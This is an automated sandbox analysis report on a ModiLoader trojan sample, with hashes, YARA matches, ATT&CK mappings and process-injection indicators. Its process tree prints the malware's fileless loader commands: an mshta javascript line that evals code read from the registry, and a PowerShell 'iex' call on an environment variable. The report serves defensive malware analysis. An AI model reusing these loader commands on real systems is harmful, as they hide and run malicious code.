modiloader | 0d4df276ac210da10aa6ad75e8b130cbda829e76ce314cc48764d59f5d9d766f

General

Target

b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
Size

277KB
MD5

b434689b1cbd3ec1badc2d6894ba03ba
SHA1

86e44f8c1e98ab44b1173820a2cc6210b294fb18
SHA256

0d4df276ac210da10aa6ad75e8b130cbda829e76ce314cc48764d59f5d9d766f
SHA512

70f282c7810d53e5527c8aebcb43f95c33846dc0445507cae025680bcb17bf501448a8fe08cd195e855b94aaf1ce4c40a4a9b10cd9d9ebd2aaf52caaf596d575
SSDEEP

6144:foD01eZ2oAUx2NMTZq72SViOYSjagtYSTqOvSV:f4Go3SMT02wvYS5pqV

Score

10^/10

modiloader trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4728	3988	mshta.exe	85

ModiLoader Second Stage 10 IoCs

resource	yara_rule
behavioral2/memory/1920-3-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-7-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-8-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-9-0x00000000009D0000-0x0000000000AA4000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-13-0x00000000009D0000-0x0000000000AA4000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-12-0x00000000009D0000-0x0000000000AA4000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-11-0x00000000009D0000-0x0000000000AA4000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-10-0x00000000009D0000-0x0000000000AA4000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-14-0x00000000009D0000-0x0000000000AA4000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-15-0x00000000009D0000-0x0000000000AA4000-memory.dmp	modiloader_stage2

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	mshta.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4400 set thread context of 1920	4400	b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	84

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1388	powershell.exe
1388	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1388	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4400	b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4400 wrote to memory of 1920	4400	b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	84
PID 4400 wrote to memory of 1920	4400	b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	84
PID 4400 wrote to memory of 1920	4400	b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	84
PID 4400 wrote to memory of 1920	4400	b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	84
PID 4400 wrote to memory of 1920	4400	b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	84
PID 4400 wrote to memory of 1920	4400	b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	84
PID 4400 wrote to memory of 1920	4400	b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	84
PID 4400 wrote to memory of 1920	4400	b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	84
PID 4400 wrote to memory of 1920	4400	b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	84
PID 4400 wrote to memory of 1920	4400	b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	84
PID 4728 wrote to memory of 1388	4728	mshta.exe	87
PID 4728 wrote to memory of 1388	4728	mshta.exe	87
PID 4728 wrote to memory of 1388	4728	mshta.exe	87

C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4400
- C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe"
  2⤵
  PID:1920

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:bFvAqBzK5="OPE6arZ";E24S=new%20ActiveXObject("WScript.Shell");kv7Ew4mFR="IzfkiQ";m4Ny4b=E24S.RegRead("HKLM\\software\\Wow6432Node\\y8zuWK\\hsGVunyjUT");MyTKpa63="hgAms";eval(m4Ny4b);oQPiK11Cr="uLmfI";
1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4728
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:afdkm
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2mxefihq.ek4.psm1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1388-17-0x0000000004980000-0x00000000049B6000-memory.dmp

Filesize
216KB

Download
memory/1388-20-0x00000000057A0000-0x0000000005806000-memory.dmp

Filesize
408KB

Download
memory/1388-35-0x0000000006E10000-0x0000000006E2A000-memory.dmp

Filesize
104KB

Download
memory/1388-34-0x0000000007460000-0x0000000007ADA000-memory.dmp

Filesize
6.5MB

Download
memory/1388-33-0x0000000005D80000-0x0000000005DCC000-memory.dmp

Filesize
304KB

Download
memory/1388-32-0x0000000005D40000-0x0000000005D5E000-memory.dmp

Filesize
120KB

Download
memory/1388-31-0x0000000005880000-0x0000000005BD4000-memory.dmp

Filesize
3.3MB

Download
memory/1388-21-0x0000000005810000-0x0000000005876000-memory.dmp

Filesize
408KB

Download
memory/1388-18-0x0000000005170000-0x0000000005798000-memory.dmp

Filesize
6.2MB

Download
memory/1388-19-0x0000000004FA0000-0x0000000004FC2000-memory.dmp

Filesize
136KB

Download
memory/1920-11-0x00000000009D0000-0x0000000000AA4000-memory.dmp

Filesize
848KB

Download
memory/1920-8-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/1920-3-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/1920-14-0x00000000009D0000-0x0000000000AA4000-memory.dmp

Filesize
848KB

Download
memory/1920-7-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/1920-10-0x00000000009D0000-0x0000000000AA4000-memory.dmp

Filesize
848KB

Download
memory/1920-15-0x00000000009D0000-0x0000000000AA4000-memory.dmp

Filesize
848KB

Download
memory/1920-12-0x00000000009D0000-0x0000000000AA4000-memory.dmp

Filesize
848KB

Download
memory/1920-13-0x00000000009D0000-0x0000000000AA4000-memory.dmp

Filesize
848KB

Download
memory/1920-9-0x00000000009D0000-0x0000000000AA4000-memory.dmp

Filesize
848KB

Download

Analysis

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